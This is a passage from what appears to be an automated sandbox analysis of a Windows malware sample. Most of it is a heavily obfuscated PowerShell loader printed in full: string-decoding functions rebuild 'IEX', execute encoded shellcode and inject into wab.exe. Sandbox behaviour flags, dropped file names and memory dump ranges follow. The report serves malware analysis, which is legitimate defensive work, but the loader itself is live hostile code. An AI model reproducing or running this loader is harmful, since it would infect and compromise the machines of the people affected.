W6No1Ve4GaDPo5NeENo5unFOv4Re4Br4SmDPr4Fo0 F7 b1he1Fo6Eg1Bh6Ko6 GBOr4 K9Ce5Re8 S6Ch8 B4Sp9Te4 A0En4ar9Se4ReBGa4 LDBe5Ph8Si4Gi9 D6HaASm4Di3 E5FoESu6ObABr5Pr9Sn4Ba2Co4 BFLn5Se8Ro4Ti5Hy4op3Su4Be2De7BrCKo4Ba3Go4Ar5 B4 n2Sa5So8Bo4 X9Pr5VeEEn0 I4Ab0Ac4Ki4BrAAd4Af7Ch5GlCEn0RiC P0Ov8Th5SpFDi5Do8Ha4drEPh5Br8Pr0UdCFl0Ku8 A6Po8 H4Fa3 G4 J3Sh5LoE t5 VCAf4Gr0Pu4frD S5 E8Se4Ra9Ph1Op8Ge0Nd5Sk0Ka0 P0PlCIn0 M4Pr6YoBPs6ak8 a7Gy8 D0SuCRi6 BC S0Ga4St7Ek7Kl6In5My4Re2 R5 P8An7SuCRe5Be8To5 LETr7Ro1 P0Fr0 A0PrCEm7Oc7Ri7Ru9Ud6In5St4 L2St5Te8Rm1ViFAf1 MEDe7Fr1We0Kr0Ge0OrCIg7 K7 V7St9In6Si5In4Di2 L5gu8me1HaFSe1SkEPs7sv1 E0 S0De0InC e7Op7Un7Ta9Op6Pl5Di4Ri2We5Ab8In1PeFDr1StEMo7Re1Pr0Ti5 A0FaCPh0mi4Ru7So7 C6An5Fo4Fr2Na5Ju8 C7 KCTh5Co8Qi5 HE T7Ti1Ve0St5Sc0Al5Vi0Tu5 L'Ud;Ca&Sp(Ud`$RiDUlo MoIdrMipBrlAcaChtTre y7Ud)Bl Ca`$TwnPuiAvhReiTjlSji JsGatFuiLosKukToeko6un;Fe`$FoVSee SlCasBriNog BnUneAndAleDa0 U1Ra Te= U IVAsAUmRFo5 M3Kr Su'Ge0Ba8En6 J7 C4Sp3Mi5PeEPe5rsFPu5OvEVi0 LC P1Fu1De0 SCPa7 U7gr7MrF P5Sp5Lb5InFna5Sa8Ja4 O9sv4En1Op0Hi2Pe7UnEBu5ep9Aa4Hi2Ru5Fo8 A4Le5 A4Se1Gr4fu9 L0Go2Sc6He5 T4ly2 L5Ha8 T4 V9Al5 OESp4Va3Fe5MiCIn7 NFUn4No9Tr5LoEVa5SyAPl4Tr5De4DoFCa4Om9Sh5InFAb0Un2Ba6ju1Po4 TDYd5UnEUs5PrFPi4Ci4Fa4 ED G4Ra0De7 L1Un1 D6Pr1un6he6trB W4Ab9An5 I8 E6 K8Aa4 M9 P4Dv0Wa4Be9be4NiBHy4 DDUd5Al8Bu4He9ef6UnA R4No3St5MoE E6SeAUf5 S9St4 T2 T4LyFPr5Fo8Ri4Af5Fi4Go3No4 B2Re7LaCRe4ut3Fr4No5Sq4 S2 E5ti8Ca4Re9Ma5AuERe0Bl4 Q0sk4Ch4AnAOk4 S7Le5DaCPe0TyCKi0Pu8 X5Il8su5UdEAn4No5 C4 S3No5El4En5Ny5Bu4Le1Pr4By9 A5Ly8Tu4 F4 F5Mi5 k4Bu0Rk4Sc9in4En2 C4gl9Fl0 HC R0Co8Ud7 MAPl4Kr9Mo4 A0 M5HoF M4Qu5 a4 SBRh4Li2Po4Be9ub4Un8Re4 F9 V1FrC S1TeCDi0Ty5Br0Tw0Ap0DiCHi0Ku4 S6SqBSt6Pe8Pa7El8fl0DoCSp6 TC R0Hy4Su7Ta7Al6Tr5Ol4Ca2Tr5Sh8 M7AsCEu5Un8Er5HoEFa7Ha1Qu0Pe0Im0 CCEm7 K7Ch7Ra9Ab6My5St4 K2 I5Un8Ek1AsFtr1 AEQu7Pr1Re0 H5Wa0IsCTi0 O4Cl7Zo7 E6so5st4Fo2Po5ur8Pe7VeCSp5 Z8 k5OdE T7un1No0Ab5Be0 d5Th0Dy5El' S;Da&Tr(Pa`$UiDCooCooPurPhp SlUpaBetFoeEn7Bi)Lu Sk`$ChVFleWil PsBeiBagCinSleCadBleSt0 H1Ri;Se`$ThV EeEslMisKliTegOpnKoeVldPoeun0Je2Ka Pa=Pl BaV KAGnRLo5Co3 S Er'Sa0di8Fo7Tr9Sa4Qu2El4Un5Fr4 O2Cr5CeF V4Un3Or4 B0ve5auAMe4Sp9Be4Ge2 C5Mi8Bl0TaCSm1 H1 D0BrCLo7Ek7Sm7BrFAl5Ch5St5ChF M5bo8Fu4Pa9dr4Re1Sv0Bi2Tr7SpE F5Ma9Al4Hs2Ta5Gr8Oe4Fi5 P4sr1 S4La9Tr0Le2Ga6Be5 P4Sh2lu5Be8Si4Re9Be5BaEUn4Zo3fl5TeC C7 MFCa4Al9Cr5GrEPo5SeAMa4 F5av4 dFDe4Pr9Ne5 TFUk0De2sc6Se1Am4 FDYu5HuESn5lyFTh4Do4Su4 ADGy4 I0Ne7Nl1Bo1Ba6 t1Un6 R6UnB F4Di9Qu5Ac8De6Ty8Ef4Ed9Sg4Be0 W4Sk9Co4ExBLo4TrDAg5Ph8St4Mo9Tr6AlAEt4Re3 S5CaEAn6DeANd5De9 M4em2Sp4 NFMo5 S8Tr4 P5Pl4 U3No4Em2Ve7CaCRe4Em3Cr4 A5 s4Op2Ka5ir8Pr4 T9Os5FoE A0 V4He0Dr4 M4DiATe4 R7Or5skC C0ReC F0 u8un5 AFUn5Ku8 S4CoEHe5Mi8Sf0KhCAf0Av8Un7ChAMe4Fo9Im4Sl0 B5GuFPy4Sl5ba4 RBKr4Au2 E4Ma9 S4Me8Ud4Ph9En1 MCSt1NoFer0Id5En0Re0Pt0CaCEu0Ud4La6ExB S6Ti8Fo7 S8Sa0AfCAn6 FCSp0Tv4Pi7Al7Uu6Fi5An4 a2Wo5Gr8Ca7 MChe5Kn8Mi5MeE C7Gr1Pe0 O5St0riCpr0Be4Ga7Hi7 M6Sa5 P4 N2Sk5Py8Cr7FlC S5Aa8 W5acESv7Pl1Pa0Do5Tr0 W5Ga0Se5Su'xo;Fr&Da(Gr`$ NDJuoSco LrcapUmlGeaSmtPleMa7Pu) c Pr`$SeVOpeMilthsChicogghnune SdFoe t0Af2ma;Sl`$BrnGeiSehNai TlDriUns StDriChs Ak BeSk7Re F=Ta DrVScAReRbe5En3Sp ca'Ev0Cr8Tu7HjFBr4Ro3In4Ex1Ba4Sk1Ov4De9 C5HyEAn4Ba0po4Sp9Bo4 P6As5 CEBo4 O9 A4Af2Re4Ex9Pe5HiFRe1EtDBa1 FEGo1 pFHa0AsC J1Da1Te0 DC K0Zo8Ce7Ba9 L4 U2Su4Vu5Kl4Ye2Ma5TeFAs4Sr3No4Sk0Mi5LiAUd4St9 K4Co2Pr5Fo8Ra0In2Tr6Co5Cy4Ra2 D5 UAZa4tr3La4Sh7fo4Dr9Bo0Re4Su1InC C0Gr5Al'St;He&Ng(Pr`$TeDCloGoo RrInpAulUna tt SeBu7 S)Un Co`$ClnExiSkhToiUdl EinosRetNeiTrsMok KeHo7sk;Rr`$sfnSmiFjhFriPhlAfi Bs LtLiiHys LkSyeUk7 B Pi= S HjV OAAaR D5 M3Ga Ka' D0Sk8He6Af7Un4Ar3Tr5OvEta5 RFtu5maERe0Al2un6Da5Bo4Ou2Fu5BoAMa4Ne3 I4 R7Se4Un9 g0 U4 C0 t8Ob7EjF A4 C3 S4Tr1To4Pr1 A4An9Go5RaECa4re0Ur4Se9 U4In6Ry5StENa4Om9 R4Li2 D4Tr9Ud5OaFfr1 MDHo1PuEDe1 DFCh0Ca0Sa0ToCTo1enCTi0ab5 P'St;Ph&Mu( o`$MaDReo NoEsrLap Ul MaFotSyesa7 N) B Fa`$exncdiUnhupiSklTai MsFrtopiLisUnkSeeCu7No;Eo`$PrPstrAtoUnpCaiExtMtiMaaThtSpeOnsHa St= b Udf UkAbpCh S`$ TDHeoBooBor Sp Al DaWotTheVa5Ra In`$NoDLuoCaoalrUdpTrlTraAmtSteca6Ut;To`$PrnAri BhRsiAglleiPes BtAniQusFlk NeNe7 D Ma= T moV LAReR T5Mo3Sv G' T0 S8Re7 DFBi5Sa8Db5 P8Ov5No8Be4 G9Sy5BeABi4In3Se4 e7Ho4muDCo4Bi0Ng4Ba9Ko5LiE E4Pa2Ba4 H9Sa1ZiFTi0MoCSu1In1Hy0IrCSc0 O8 T6Pr3Un5BaEFr5Cr8Ob4 G4ob4No3Gl5LaFAf5Ad8Ba4FaDUn5 C8Pi4Pa9Sk5UpF H0To2Fa6Mo5Si4Ke2Pu5SuAUn4 F3Ba4Ro7Un4Sk9Ta0Po4Jo7Se7To6sm5Bo4Br2Ch5Br8Za7FuCGi5Tr8sp5ekERe7 S1At1Sp6La1Tr6Al7Op6Ri4Sc9Mi5SaEUn4 T3Ma0 S0 P0 MCAn1 IAto1SaESh1FoBCa0Ma0In0BeCTe1ovCTr5go4Ma1TuFAr1LaC G1FlChy1DaCSt0Pi0Il0StC A1 TCFi5wh4Au1Om8Dd1FiCBr0 T5Si' S;Ko&Li(Se`$BaDTroSko srKapRulPraMyt PeGe7Bl)Fl Io`$IdnHuiCohSuiSslPai CsNatTui EsOfkpoeUt7Ko;Pa`$Ain Ti Bhsaihal PiJesDotFliBusTikDueWo8sm Ep= M SVFiAPaRNe5 F3Ha Un'Co0Ma8Ub6LaASy4fe3Ga5BuEKo5ruCOv4ko0 t4GaDvi4St2Un5Jv8 C4Ba2ma4Te5ma4Dr2 B4KkBDe4Un9 V5 FESm4Ha2Di4So9en5 SFGg0SnCAv1Hv1 N0MuC f0In8Sc6As3Ce5VaE S5De8 B4Ni4Sl4Be3Vi5MuFPo5 U8Sn4AdDSu5Di8Ca4 T9Br5 KF R0Ke2Si6Kn5Im4Ta2Di5SmAFo4Kl3Ko4 S7 N4Ma9 P0Da4Su7Br7Qu6Bh5Kr4 o2Ta5Ev8 H7MaCPo5No8Su5HjESm7Re1Tn1He6 F1Es6un7cr6 I4Co9 T5 FEGr4Vi3 I0Ar0 S0SpCGl1 HFBr1Im4In1RuFEn1 H9fl1MiCSt1Hu4 V1Fr8 S1St4be0Ex0Sa0GaCPi1GlC S5Bo4Fr1 GF S1 BCSh1RuC S1 aC S0Ha0Pr0PeC M1ApCga5Eu4Tu1Ku8be0Fo5Ka'No;Sk&Le(fr`$AqD PoPooPrrDapGrl NaButMaeRo7As)Wh Ka`$nenSliDehDyiBolcoiAdsHatBriKosUnkPee S8Le;Fj`$ReSRatmitTitsmeRev Soouk RaMolMeeDarRenSeeBl2Si= v`"""Un`$DeeRsnIsvfi:DrABaPBuP LDStA STDiA G\ HlMuaAfnSodAnsTarBlefot RtpeeMer J\ SfFoi SnPan Ba UcAn\UtTSkiSinFagFluMiafoiApt DeCh\HeSMotlyrBjiEvbGeeFlrRenQueDi\jeU CnMoaDmrAlrNoeRasAgt SiOwntigBr\OvHFreHerDaoBrnFliRetCaePl\lsRSieArnTreFogaseDrrPeeOmrBr9 E1Ko\ BSRetFoiDkgRubSpoKarFudNueWatNos m.EnIstnBavBe`"""An;Ka`$ VnSui ChPeiSklaniBysTatEni tsBrkReeGo9Fa R= C EV UAFlRTr5Ke3Ad Is'Ba0Re8Te4Ej2Je4Fl5hy4Ru4Ge4 k5Im4Re0Fa4Op5Ov5 AF B5Re8Fl4Pr5Fa5PoFFo4 R7Di4Ci9Zo0BeCMa1Ha1Pr0 OC T7Na7Ex7 PF T5Er5Me5peFUo5po8Tu4En9Sh4Ma1Pr0De2Io6Po5Ma6Ho3As0Ja2Li6 NABu4 I5Sc4Ph0Hy4 O9hi7ir1Di1Ph6 B1 a6vu7FeE C4An9Ov4 TDUn4Me8Ud6TeD S4Ep0 S4Ka0De6NoEFe5Li5Er5Ko8Ne4Je9Af5ThFAd0 B4 O0La8Le7scFBa5Jo8Ab5En8Pi5Bi8Va4Su9 p5 GAKr4 B3Ph4Um7De4 BDHv4Sv0Ve4Tr9 T5KaEkr4un2Af4 E9st1PrE S0sn5 A' P; B&Mi(Po`$KeDesoSaoTirSlpNolTva HtMieJo7Av) P Re`$Opn aiFohPripelJeiDusKotPoi NsFokDeeTr9Fo; r`$PaSSwcInhItiVecTrk I0Ti Ra= E FoV RANoRKe5He3 C Fo'Ke7Sv7Th7ApF D5 U5De5CaFLn5Ne8 T4Ko9 F4Pr1 P0Pa2 A7TeEen5Ov9Ru4En2Tr5Ca8Fu4Sk5Ga4Ne1Do4Pa9Un0Br2Ab6Re5Pe4 S2To5St8Dr4Sr9Sy5ReEDe4 P3 T5ReCTl7MaF S4Be9De5VaEBo5trAJe4 M5 S4TvF S4 P9Gr5 cFPo0Su2Wi6Fa1Fo4TaDOp5psETu5SkF T4Fo4Di4InDVo4Fi0Vu7Te1 T1 u6to1Bo6Bn6SaF o4Un3Ob5HjCha5Fo5Ov0He4 s0De8Au4Gu2 C4Fa5al4Sk4 D4As5Vo4 K0Sy4Sa5Ma5ArFRe5Re8 P4Hr5Le5 GFPa4 D7 D4Fo9re0Cn0 D0EfCCi1UnFFo1IaCLe1TuEAl1Re8No0Ta0Fo0LaCFu0 RC H0Ku8 G7MuFCl5Py8Il5De8Ar5Bu8 V4Ka9 C5PrAEn4 D3ni4 R7 E4FrD D4 K0He4ga9Lu5TeECo4 T2Ge4 B9Ox1 PFEm0 G0Qu0UsCHe1KaAMa1 REFo1LsBVa0St5ve'Co;Ti&Ph( C`$UrDGao Ko TrcopKalOsauntAnePr7 C)Pr Te`$ tSKocTnh TiFocDekso0 S;Fe`$AmGDoeGamAfeAunishSceNedLae Dn RsSo=Gr`$FinStiFihAaiMol Oi Cs PtFoi Ss BkHye M. Mc UoBiuRhnUstEx-Nr6Co2Ar7Mi- C3 I0Fi2Mu4an;To`$UnSvicEvhEliuhcSpkSu1 F R=Ja LoVPyAUnRUh5 L3Gu Up'Un7Tr7Ke7boFRe5 E5 K5FoFAe5St8Sh4sk9Ko4Ba1uh0 H2In7GoESl5 S9St4Br2Su5Mi8sk4So5La4Sp1El4 R9Tr0Va2Be6Pi5Ss4As2Kr5Lu8 P4 S9 C5JuE B4Lo3 O5SkCCl7ReF O4Le9Du5 MEad5SmAIn4Va5Ud4CiF S4Do9Br5UtFDe0 O2To6At1 I4EgDRe5MaE H5LsFSk4Fe4Bi4maD F4 A0Sp7Ba1 L1Lr6Ga1te6Ve6ReFMu4 L3Ve5 ACUn5Co5Ni0Pr4hu0al8Sk4Bo2Tr4Sp5sm4Ch4Lo4Se5Sn4 M0sv4Al5Pi5SmFFo5Ce8Ad4Ov5Bu5PrFSu4Ko7Ma4En9Fo0St0Ov0TaCOm1BlA U1EvEEf1AmBAs0Or7Er1caFSg1 BCSk1MaEPr1 G8 A0Gr0Aa0saCKo0 I8 S6PiATu4kr3Ho5 SEHy5 SCOn4 F0Re4 SDJe4Pa2Sp5Br8Vi4Li2 W4no5Ha4Uh2Or4InBLa4Mo9Un5opEZu4Ku2Ja4Dy9 R5InFCl0Ma0pr0SuCIl0Co8Ja6 MBSc4 W9Om4An1Ba4El9Fa4un2Ko4Ki4im4 L9Mi4Di8Op4Fl9Br4tr2Pa5ObFSo0Ad5 P'Va;Al&Ta(Pa`$DuDPeoAvoHerVepRulDeaTrtUkeSp7Ch)Bo He`$LeSBacDyh FiMactjkNo1Ji;Sk`$ LSPrc AhHyiSacBakDr2No el=da InVMuAdiRSi5Ur3Sp ba' I0 L8La5FoCSt5FoE O4Ja9Au5 AFMe4 MDTo4DeBKr4Ba9Ps5 FEFl0 RCSv1Im1Ku0 UCad7Ro7 G7HaFDy5 H5Fr5SkFPr5 F8Da4Ko9No4Sm1 H0pa2So7SlE U5Ov9Sp4Be2In5 D8In4 A5 B4St1Ha4 P9De0Di2ej6 L5Mi4De2 E5no8Su4Sy9pt5ItESt4 L3Do5NaC L7spFAl4eu9 P5BaE S5MuAIs4fi5Sk4 BFGh4ep9sp5fiFLa0Li2Fr6et1 S4LaDRu5HoE L5EnFSu4Sp4In4 FDEn4Sa0Ha7Pr1Mi1Mu6ti1Ma6Fo6InBda4 s9lu5Ho8Ba6 K8Fd4 Y9Sl4De0Bl4Aj9Ti4 HBDo4MeDOp5He8Un4 H9Re6UnARi4 S3mu5TrEPo6LeAFo5Bo9Be4 D2Va4PoFMe5Bu8So4 S5 M4ey3Pe4Ra2Un7LaCOp4Pl3Te4Wr5Qu4Pt2Sp5Mi8Sk4Sm9 S5maEWi0So4Un0Ka4Kv4BlAPo4Gr7Co5RoCBi0FiCLa0Re8 R6 S9pa4Bu2Ve5SlFde4Al5Me4Im0 L4HaDPu4stETr4Fl5Ud4No0 K4 G5Ko5sp8Sk5cu5 T0RaCUd0Hu8 O7PaC S4SaDHe4Vi0Tr4UnDVe4 C9Ra4 O3Us4se1Cu4 BDOv5 cFRo5 P8Wi4un3Mi4Bo8Ri4 A3Fr4St2Sn0We5Pe0In0Fo0ElCLu0ch4Pr6TeB S6An8Ed7Un8Br0 CCOv6BlCPo0Ev4Ge7St7hu6Hu5Me4De2 S5no8Ac7 TC M5Da8 X5PeEKr7Un1Si0Si0 l0 BCKa7Mi7Un6Ho5Be4Ta2 V5Mu8un7CuCBa5 N8En5ReEDo7Af1Ak0wh0Da0MaCfo7sm7Ga6 K5Pe4Ud2sa5Sn8 F7laCko5ma8St5SaE K7Pe1 I0At0Bl0BrC A7Ph7Fr6At5 A4Ta2Ri5Ci8Mo7CaCov5Be8Su5 OE C7Li1Cr0 R0He0AlC S7 P7 D6Ko5Mo4 I2Bo5Di8Dd7TrC A5Tu8 N5SeE A7In1re0Gl5Fo0OvCHu0 S4 D7Un7Ho6sl5 D4ud2 K5Hi8Ky7 MCBe5Ud8Di5 mEEg7Du1Af0Aa5Va0 P5Cr0Ka5 C'Im;Li&Ve(Nu`$QuDHaoBeoKor TpIglReasatBoeBu7Si)Ko Ne`$LeSAlcSoh Ni AcTrkKe2de;va`$LaSInc PhBri TcCokFo3 A Ha=Fj AuV RABuRSm5Bu3Oe Ge' M0Li8Do5FoCAf5AgEFe4Gr9Re5 TFOv4LoDDa4HaBSv4Wa9No5ThENo0Me2At6 S5Be4My2Id5EuA I4Di3Sn4 T7Di4Sh9In0Pr4Ba0do8ga7TyF C5al8He5Gr8Cr5Au8Sk4Ad9Dr5BoADe4ra3Ch4al7Ni4leDKa4Ly0Ko4Be9Br5 FEVa4Tr2Sy4Yn9Se1OkFQu0Br0Po0Ph8Uf6FjALa4 O3Vi5 CE P5FrCPa4Su0Br4MoDPa4 T2Te5Gr8 U4ge2Ha4He5Op4Bi2Un4 MBNo4 C9Sk5CeEPa4Hy2St4Sa9 S5BnFSt0Ba0Bo0 O8 A7ToCFr5 TE C4mi3Or5BeCPi4Re5Ka5Sp8 T4 S5Vi4seD S5 A8Fa4 V9 O5PoFUn0Tr0Op1HiCkn0Dv0Wi1SlC O0Pe5Ak'Ca;Co&Ta( F`$DeDKeoInoStr EpMylInaSytMoeud7St)Ba G`$raSEtcSahReiTicHikCa3Fl#Eu;""";<#undertrykkelsen Nonpersonification Ametyst Rhodesiernes Skovfolkene Largeous Oxford #>;;function Schick8 ($Fanekortet,$Bharata) { &$Pillowslips0 (Schick9 'La$InFOraPrnBleRakAloFor RtDaePutGe El- Ab Rx foUkrAl Un$hyBThhTuaSerSkaFltynaho ');};Function Schick9 { param([String]$Opposure); <#Destructible Revolteres Marjorie Sjlevarmers Thebais Conoscente Blers #>; $Calc=2+1; For($Walborg=2; $Walborg -lt $Opposure.Length-1; $Walborg+=($Calc)){ <#Forstrrelsesapparaterne Hermeneutikken Varesalgs carnate Disponerendes Jordforbindelser #>; $Velsignede+=$Opposure.Substring($Walborg, 1)} $Velsignede;};;$Pillowslips0 = Schick9 'PeIMeEFlXPh ';$Pillowslips1= Schick9 $Siderealize;&$Pillowslips0 $Pillowslips1;<#Godartet Weeshy Uninitiate #>;"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
__PSScriptPolicyTest_x0iqistq.2j2.ps1
Chunkhead.Log
Stigbordets.Inv
memory/1940-30-0x0000000006780000-0x00000000067CC000-memory.dmp
memory/1940-33-0x0000000006C00000-0x0000000006C1A000-memory.dmp
memory/1940-23-0x00000000060D0000-0x0000000006136000-memory.dmp
memory/1940-16-0x0000000005760000-0x0000000005782000-memory.dmp
memory/1940-28-0x0000000006240000-0x0000000006594000-memory.dmp
memory/1940-29-0x0000000006730000-0x000000000674E000-memory.dmp
memory/1940-53-0x0000000075130000-0x00000000758E0000-memory.dmp
memory/1940-31-0x00000000030F0000-0x0000000003100000-memory.dmp
memory/1940-32-0x0000000007900000-0x0000000007996000-memory.dmp
memory/1940-17-0x0000000006060000-0x00000000060C6000-memory.dmp
memory/1940-34-0x0000000006C90000-0x0000000006CB2000-memory.dmp
memory/1940-35-0x0000000007F50000-0x00000000084F4000-memory.dmp
memory/1940-15-0x00000000057C0000-0x0000000005DE8000-memory.dmp
memory/1940-79-0x0000000075130000-0x00000000758E0000-memory.dmp
memory/1940-59-0x00000000030F0000-0x0000000003100000-memory.dmp
memory/1940-14-0x0000000005150000-0x0000000005186000-memory.dmp
memory/1940-12-0x0000000075130000-0x00000000758E0000-memory.dmp
memory/1940-13-0x00000000030F0000-0x0000000003100000-memory.dmp
memory/1940-55-0x00000000030F0000-0x0000000003100000-memory.dmp
memory/2264-49-0x0000000007CD0000-0x000000000834A000-memory.dmp
memory/2264-63-0x0000000077AD1000-0x0000000077BF1000-memory.dmp
memory/2264-54-0x0000000008350000-0x000000000A7E3000-memory.dmp
memory/2264-51-0x00000000076F0000-0x00000000076F1000-memory.dmp
memory/2264-39-0x00000000050F0000-0x0000000005100000-memory.dmp
memory/2264-38-0x00000000050F0000-0x0000000005100000-memory.dmp
memory/2264-60-0x0000000075130000-0x00000000758E0000-memory.dmp
memory/2264-61-0x00000000050F0000-0x0000000005100000-memory.dmp
memory/2264-62-0x00000000050F0000-0x0000000005100000-memory.dmp
memory/2264-52-0x0000000008350000-0x000000000A7E3000-memory.dmp
memory/2264-37-0x0000000075130000-0x00000000758E0000-memory.dmp
memory/2264-76-0x0000000008350000-0x000000000A7E3000-memory.dmp
memory/2264-66-0x0000000008350000-0x000000000A7E3000-memory.dmp
memory/2264-75-0x0000000075130000-0x00000000758E0000-memory.dmp
memory/3632-67-0x0000000077AD1000-0x0000000077BF1000-memory.dmp
memory/3632-69-0x0000000000E00000-0x0000000003293000-memory.dmp
memory/3632-70-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/3632-68-0x0000000077B58000-0x0000000077B59000-memory.dmp
memory/3632-65-0x0000000000E00000-0x0000000003293000-memory.dmp
memory/3632-64-0x0000000000400000-0x00000000005E4000-memory.dmp